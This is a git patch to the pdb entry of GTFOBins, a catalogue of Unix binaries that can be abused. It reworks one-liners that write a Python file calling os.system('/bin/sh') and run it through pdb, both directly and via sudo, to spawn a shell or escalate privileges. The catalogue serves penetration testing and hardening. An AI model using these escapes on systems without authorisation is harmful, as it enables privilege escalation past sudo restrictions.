From 1342a7b9818ec9590c54342910af391f28cddff2 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 15 Mar 2020 12:28:22 +0100 Subject: [PATCH] Avoid temp directory in pdb --- _gtfobins/pdb.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/_gtfobins/pdb.md b/_gtfobins/pdb.md index 747bccf..7885fa0 100644 --- a/_gtfobins/pdb.md +++ b/_gtfobins/pdb.md @@ -2,14 +2,14 @@ functions: shell: - code: | - TF=$(mktemp -d) - echo 'import os; os.system("/bin/sh")' > $TF/x - pdb $TF/x + TF=$(mktemp) + echo 'import os; os.system("/bin/sh")' > $TF + pdb $TF cont sudo: - code: | - TF=$(mktemp -d) - echo 'import os; os.system("/bin/sh")' > $TF/x - sudo pdb $TF/x + TF=$(mktemp) + echo 'import os; os.system("/bin/sh")' > $TF + sudo pdb $TF cont ---